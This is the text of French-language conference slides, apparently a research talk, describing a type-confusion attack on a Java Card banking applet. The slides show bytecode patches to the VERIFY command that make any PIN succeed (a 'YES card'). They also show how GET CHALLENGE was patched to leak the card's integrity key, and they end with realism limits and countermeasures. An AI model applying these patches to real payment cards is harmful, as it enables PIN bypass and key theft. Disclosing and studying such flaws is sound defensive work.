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Convertion illégale entre objets de types incompatibles
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Accès mémoire illégal

Lecture

L'AID de l'application bancaire est présent dans les données

Analyse en rétro-conception des octets lus

Les données sensibles sont chi�rées par applet

Pas accessibles par lecture du tableau

Ecriture

Modi�cation du code de l'application bancaire
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Retro conception du code de VERIFY

Bytecode

L3 : s l o a d 4 ;
s l o o kup sw i t c h
L6 2 90 L5 165 L4 ;

L4 : g e t f i e l d_a_th i s 0 ;
i n v o k e v i r t u a l 18 ;
r e t u r n ;

L5 : s spush 25536 ;
g e t f i e l d_a_th i s 0 ;
i n v o k e v i r t u a l 19 ;
s o r ;
i n v o k e s t a t i c 20 ;

L6 : s spush −8531;
i n v o k e s t a t i c 20 ;
r e t u r n ;

Java Card

r e s u l t=OwnerPIN . check ( pin , o f f s e t , SIZE ) ;
. . .
sw i t c h ( r e s u l t )
{

ca se TRUE:
resetPTC ( ) ;
r e t u r n ;

ca s e FALSE :
Use rExcep t i on . t h r ow I t

( ( s h o r t ) (0 x63C0 | (PTC [ 0 ] ) ) ) ;
d e f a u l t :

b reak ;
}
ISOExcept ion . t h r ow I t ( Terminate ) ;
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Modi�cation du code de VERIFY

Traitement du résultat de la véri�cation de PIN

slookupswitch L6 2 90 L5 165 L4;

Code original

90 L5 = Cas défavorable

Si la variable vaut 0x5A, jump à L5

165 L4 = Cas favorable

Si la variable vaut 0xA5, jump à L4

Code modi�é

90 L4 = Cas FAVORABLE

165 L4 = Cas favorable
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Réalisation d'une YES Card
Récupération des clés cryptographiques

Code de VERIFY après l'attaque

r e s u l t=OwnerPIN . check ( pin , o f f s e t , SIZE ) ;
sw i t ch ( r e s u l t )
{

ca se TRUE:
ca se FALSE :

resetPTC ( ) ;
r e t u r n ;

d e f a u l t :
b reak ;

}
ISOExcept ion . t h r ow I t ( Terminate ) ;

Sortie de la commande VERIFY

Quel que soit le code PIN présenté :

La carte émet une réponse positive

Le compteur d'essais est remis à 0
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Réalisation d'une YES Card
Récupération des clés cryptographiques

Où sont mes clés ?

Quand tout semble aller de travers, l'application exécute le code
suivant :

g e t f i e l d_a_th i s 2 ;
i n v o k e i n t e r f a c e 1 13 0 ;
g e t f i e l d_a_th i s 3 ;
i n v o k e i n t e r f a c e 1 13 0 ;
g e t f i e l d_a_th i s 4 ;
i n v o k e i n t e r f a c e 1 13 0 ;

On en déduit qu'il s'agit du code d'e�acement des clés :

SMI_K. c l e a rKey ( ) ;
SMC_K. c l e a rKey ( ) ;
AC_K. c l e a rKey ( ) ;

Les identi�ants des clés sont 2, 3, 4
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Réalisation d'une YES Card
Récupération des clés cryptographiques

Extraction des clés

méthode getKey de la classe DESKey

byte getKey ( byte [] keyData , short kO� )

méthode generateData de la classe RandomData

void generateData ( byte [] bu�er , short o�set , short length )

Similarités :

remplissent un tableau de bytes passés en argument

acceptent un o�set

Di�érence :

generateData a un argument de longueur
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Réalisation d'une YES Card
Récupération des clés cryptographiques

Retro conception du code de GET CHALLENGE

Génération d'aléa dans la méthode GET CHALLENGE

random.generateData(tmpbu�er,(short)0,size);

Bytecode

g e t f i e l d_a_th i s 1 ;
g e t f i e l d_a_th i s 7 ;
sconst_0 ;
s load_2 ;
i n v o k e v i r t u a l 22 ;

cha rge random
charge tmpbu f f e r
cha rge ( s h o r t ) 0
cha rge s i z e
i n v o c a t i o n de gene ra teData
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Réalisation d'une YES Card
Récupération des clés cryptographiques

Modi�cation du code de GET CHALLENGE

Lecture de la clé

byte getKey ( byte [] keyData , short kO� )

Bytecode

> ge t f i e l d_a_th i s 2 ;
g e t f i e l d_a_th i s 7 ;
sconst_0 ;
> nop ;
> i n v o k e i n t e r f a c e 4 ;

cha rge SMI_K à l a p l a c e de random
charge tmpbu f f e r
cha rge ( s h o r t ) 0
ne cha rge pas s i z e
i n v o c a t i o n de getKey
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Réalisation d'une YES Card
Récupération des clés cryptographiques

Code de GET CHALLENGE après l'attaque

Code Java Card

SMI_K. getKey ( tmpbuf fe r , ( s h o r t ) 0) ;
U t i l . arrayCopyNonAtomic ( tmpbuf fe r ,

( s h o r t ) 0 , apduBuf fe r , ( s h o r t ) 0 , s i z e ) ;
apdu . s e tOutgo ingLength ( s i z e ) ;
apdu . sendBytes ( ( s h o r t ) 0 , s i z e ) ;

Sortie de la commande GET CHALLENGE

L'application bancaire renvoie les 8 premiers octets de la clé de
protection en intégrité Kmac

Les 8 octets suivants peuvent être obtenus en modi�ant l'o�set
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Réalisation d'une YES Card
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Rappel

Chi�rement par applet

Les données sensibles (clés, PIN...) sont stockées chi�rées

La clé de chi�rement est di�érente pour chaque applet

Même quand tout se passe mal

Un attaquant lit toute la mémoire d'une autre applet

Les données sensibles restent protégées
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Rappel

Chi�rement par applet

Les données sensibles (clés, PIN...) sont stockées chi�rées

La clé de chi�rement est di�érente pour chaque applet

Et pourtant

C'est l'applet compromise qui lit ses clés...

... et nous les donne !
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Bref j'ai craqué une carte à puces

Un produit bien sécurisé

Sécurité de Java Card

Sécurité additionnelle du produit

Attaque par confusion de type

Accès en lecture/écriture au code de l'applet

Compromission de l'applet bancaire

PIN

clés cryptographiques

et potentiellement toutes les données de l'application
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Réalisme de l'attaque

Code malicieux

Le code de l'applet d'attaque ne passe pas le bytecode veri�er

Impossible à embarquer dans un applet légitime

Chargement de l'applet

Il faut disposer des clés de chargement de la carte

Ces clés sont distribuées de manière sécurisée
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Contre-mesures

Contre-mesures possibles

Etendre les méta-données aux types natifs

Utilisation de la segmentation mémoire matérielle

Contre-mesure mise en place

Recommendations sécuritaires dans les guides d'utilisation

Véri�er systématiquement le code des applets

N'autoriser le chargement d'applets qu'aux entités de con�ance
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Des questions ?
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